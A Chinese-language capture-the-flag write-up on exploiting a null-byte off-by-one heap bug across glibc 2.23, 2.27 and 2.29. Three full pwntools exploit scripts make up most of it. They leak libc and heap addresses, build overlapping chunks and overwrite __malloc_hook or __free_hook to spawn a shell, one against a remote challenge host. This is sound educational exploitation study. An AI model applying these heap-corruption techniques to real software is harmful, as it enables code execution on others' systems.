OFF_BY_ONE 番外篇: 在不同libc下的利用探索 (2.23 2.27 2.29)
此为OFF_BY_ONE番外娱乐篇 尝试以下各个版本libc下如何利用OFF_BY_ONE
2.23与2.27使用的binary为QCTF_2018
的babyheap
2.29下使用的binary是0ctf2019-final
的babyheap2.29
本文所述OFF_BY_ONE
均为NULLBYTE
主要起因是我做0ctf2019
的babyheap2.29发现我之前了解的不太全面
程序比较简单全保护,漏洞点在add
处的OFF_BY_ONE
没有edit
有show
,输入会在后面加\x00
截断.
libc-2.23
这里作为没有tcache
机制的代表之前已经被玩烂了.主要的探索过程在原始篇已经讲的较为详细这里直接贴上一般利用过程.
add(0x400)#0
add(0x88)#1
add(0x88)#2
free(0)
add(0x18,"A"*0x18)#0
add(0x88)#3
add(0x88)#4
free(3)
free(1)
add(0x1e0-8)#fill
这时候就可以造成overlap之后
overlap
泄漏,之后通过double_free
或者overlap
做fastbin_atk
来继续exp.House of storm
控制Unsorted bin
攻击stdout
hooks
去做partial_write
(概率较低一般比较难打通.)反正有了Overlap
之后大家就可以根据题目特性和环境特性各显神通啦。
之前那篇也主要讲没有tcache的情况所以在,这里只做简单的复习. 这里简单地贴上exp
from pwn import *
def cmd(c):
p.sendlineafter(":\n",str(c))
def add(size,c="A\n"):
cmd(1)
p.sendlineafter(": \n",str(size))
p.sendafter(": \n",c)
def cheat(size):
cmd(1)
p.sendlineafter(": \n",str(size))
def free(idx):
cmd(2)
p.sendlineafter(": \n",str(idx))
def show():
cmd(3)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#p=process('./timu')
p=remote("111.198.29.45",34670)
context.log_level='debug'
add(0x400)#0
add(0x88)#1
add(0x88)#2
free(0)
add(0x18,"A"*0x18)#0
add(0x88)#3
add(0x88)#4
free(3)
free(1)
add(0x1e0-8)#1
add(0x88)#3
show()
p.readuntil("4 : ")
base=u64(p.readuntil(" ")[:-1].ljust(8,'\x00'))-(0x7ffff7dd1b78-0x7ffff7a0d000)
log.warning(hex(base))
libc.address=base
add(0x68)#5
add(0x68)#6
free(5)
free(6)
free(4)
free(0)
one=0xf02a4
add(0x68,p64(libc.sym['__malloc_hook']-35)+'\n')#0
add(0x68)
add(0x68)#5
add(0x68,'\x00'*19+p64(one+base)+'\n')
free(0)
free(5)
#gdb.attach(p,"b _int_free")
p.interactive()
libc-2.27
和libc-2.23
主要的不同是有了tcache
机制但是对tcache
的保护又没有后续版本例如libc-2.29
那般丰富.
OFF_BY_ONE
的常见利用方法是(简要复习一下)
1.利用OFF_BY_ONE去shrin unsortedbin(目的是之后在unsorted bin 中割出一小块的时候不会影响 原本留在下一个chunk的pre_size)
2.为了绕过`pre size vs size`检测 所以需要在`unsortedbin`中先malloc一个能留下pre_size的小chunk之后free
3.free 原本 unsorted bin 下方的chunk 进入 unsoted bin 这样就会触发 unlink操作 从而造成overlap
tcache
直观的影响是增加了某些情况下我们将chunk
放入unsortedbin
的难度
tcache里完成这个操作主要有两个方法
因为上述第二步中有需要进入unsorted bin
所以:
加上我们使用free一个较大chunk的方法,那么我们如果要让exp顺利工作需要做的事情:
在做这一步之前把heap给布局好因为如果没有布局完成那么之后malloc时会在unsorted bin中切割
在这个题目list内节点数目有限的情况下这个复杂度有点高.
所以使用第二种方法free()*7第八个就会被放入unsorted bin.
相比前一种方法的优点就是不用思考地那么远,只要在之后的操作中不要把unsortedbin
破坏了就可以了
但是我们需要另一个free进unsorted bin
的chunk来trigger unlink
.
比较优雅的做法是在一开始就设定好,这题就比较尴尬因为list内一共只有7个节点如果满了再去增加会做malloc+free的操作但是实践中发现还是很烦啦…
于是我曲线救国不优雅就不优雅吧
也就是在比较遥远的地方构造以下情形
chunk n: size=0x20,data="\x00"*0x10+magic
chunk n+1: size=0x500,data=....
这样通过free第n+1个chunk和伪造他的pre_size和pre_inuse 和之前我们构造的unsortedbin内的chunk unlink完成overlap.
简单易懂,就是不太优雅比之前在2.23上多了一次利用OFF_BY_ONE
总而言之,通过两次OFF_BY_ONE+shrink
完成在node
有限情况下做overlap
exp 如下.
from pwn import *
def cmd(c):
p.sendlineafter(":\n",str(c))
def add(size,c="A\n"):
cmd(1)
p.sendlineafter(": \n",str(size))
p.sendafter(": \n",c)
def cheat(size):
cmd(1)
p.sendlineafter(": \n",str(size))
def free(idx):
cmd(2)
p.sendlineafter(": \n",str(idx))
def show():
cmd(3)
p=process('./timu')
#p=remote("111.198.29.45",34670)
add(0x500)#0
add(0x100)#1
add(0x100)#2
free(0)
context.log_level='debug'
add(0x18,"A"*0x18)
free(0)
add(0x100)#0
add(0x100)#3
add(0x1e8-0x10)#4
free(4)
add(0x100)#4
add(0x100)#5
add(0x100)#6
cheat(0x100)
for x in range(1,7):
free(x)
add(0x132)#1
add(0x4f8)#2
add(0x200)#3
free(0)
free(1)
add(0x138,"\x00"*0x130+p64(0xc90))#0
free(2)
# 0,3 is used
add(0x1e0-8)#0x55ebf0ca2bb0
add(0x218)
cmd(3)
p.readuntil("1 : ")
base=u64(p.readuntil(" ")[:-1].ljust(8,'\x00'))-(0x7fea9ffc0ca0-0x7fea9fc12000)-(0x7ffff7a21000-0x7ffff79e4000)
log.warning(hex(base))
libc=ELF("./timu").libc
libc.address=base
add(0x6f0)#4
add(0x30,"\x00"*0x8+p64(0x111)+p64(libc.sym['__free_hook'])+'\x00'*0x18)#5
add(0x100,"/bin/sh\n")#6
free(4)
add(0x100,p64(libc.sym['system'])+"\n")
free(6)
p.interactive()
binary 多了许多check,拿着2.27的libc differ 了一下发现改变挺大的这里就主要谈一下做题的时候遇到的,有机会再去系统地分析一遍.
简单分析一下libc-2.29相比2.27 _int_free的一些区别.
unlink
终于不是一个宏了..成了一个函数..恭喜unlink_chunk
,但是看了一圈发现逻辑上没啥大变化.
在tcache里面加了个double_free的检测,遍历list查看是否已经有当前的chunk
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
这导致double_free
利用起来没有2.27 上那么顺利不过问题不大,fast_bin内依然是没有检测的.或者通过其他方法做tcache hijacking还是可以的
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
学到新单词consolidate
…这个检测挺恶心的
检测当前(chunk-prevsize)
处的chunk的size
是否等于 presize
这就基本阻断了不需要的任何泄漏情况下的OFF_BY_ONE
的shrinkattck
提高了门槛.我们在2.27和2.23的利用中是可以做到不需要任何地址就完成shrinkattck
造成overlap
的.
但是在2.29中之前的方法不再适用(可能有某些神奇的方法能搞,我目前感觉这个锁死了直接shrinkattck
的路)
但是幸运的是我们在泄漏了heap
地址的情况下还是可以轻松完成overlap
的,之前做的题目好像大多都是要么没有show函数要么输入字符串后面补0..因为泄漏了heap之后利用的确简单.
利用方式比较简单
直接做个fake_chunk注意满足FD->bk != P || BK->fd != P
就可以了
//get heap
..
add(0x98)#2
add(0x4f8)#3
add(0x18)#4
edit(2,p64(heap+0x480)+p64(heap+0x480)+p64(heap+0x470)+p64(heap+0x470)+'\x00'*0x70+p64(0xa0))
free(3)#unlink leads to overlap
...
知道了可以利用leakheap
+unlink
的方式就比较简单了
from pwn import *
def cmd(c):
p.sendlineafter(": ",str(c))
def add(size):
cmd(1)
cmd(size)
def edit(idx,c):
cmd(2)
cmd(idx)
cmd(len(c))
p.sendafter(": ",c)
def show(idx):
cmd(4)
cmd(idx)
def free(idx):
cmd(3)
cmd(idx)
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process('./babyheap2.29')#,env={"LD_PRELOAD":"/glibc/x64/2.29/lib/libc-2.29.so"})
add(0x100)
add(0x100)
free(1)
free(0)
add(0x100)
add(0x100)
show(0)
p.readuntil(": ")
heap=u64(p.readline()[:-1].ljust(8,'\x00'))+(0x5601a38ee000-0x5601a38ee370)
log.warning(hex(heap))
add(0x98)#2
add(0x4f8)#3
add(0x18)#4
#edit(2,"\x00"*8+p64(0x91)+p64(heap+0x490)+p64(heap+0x490)+p64(heap+0x480)+p64(heap+0x480)+'\x00'*0x60+p64(0x90))
edit(2,p64(heap+0x480)+p64(heap+0x480)+p64(heap+0x470)+p64(heap+0x470)+'\x00'*0x70+p64(0xa0))
free(3)
show(2)
p.readuntil("2]: ")
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dd0ca0-0x7ffff7a1e000)-(0x7ffff7a1d000-0x7ffff79e4000)
log.warning(hex(base))
add(0x98)#3
add(0x18)#5
free(2)
libc.address=base
gdb.attach(p,"b free")
edit(3,p64(libc.sym['__free_hook']))
add(0x98)#2
add(0x98)#6
edit(6,p64(libc.sym['system']))
edit(2,"/bin/sh\x00")
free(2)
p.interactive()
babytcache(2018hitcone)
的shrinkOFF_BY_ONE(NULLBYTE)主要是在inuse和presize上动手脚,想要造成overlap就一般是利用错误的unlink来获得.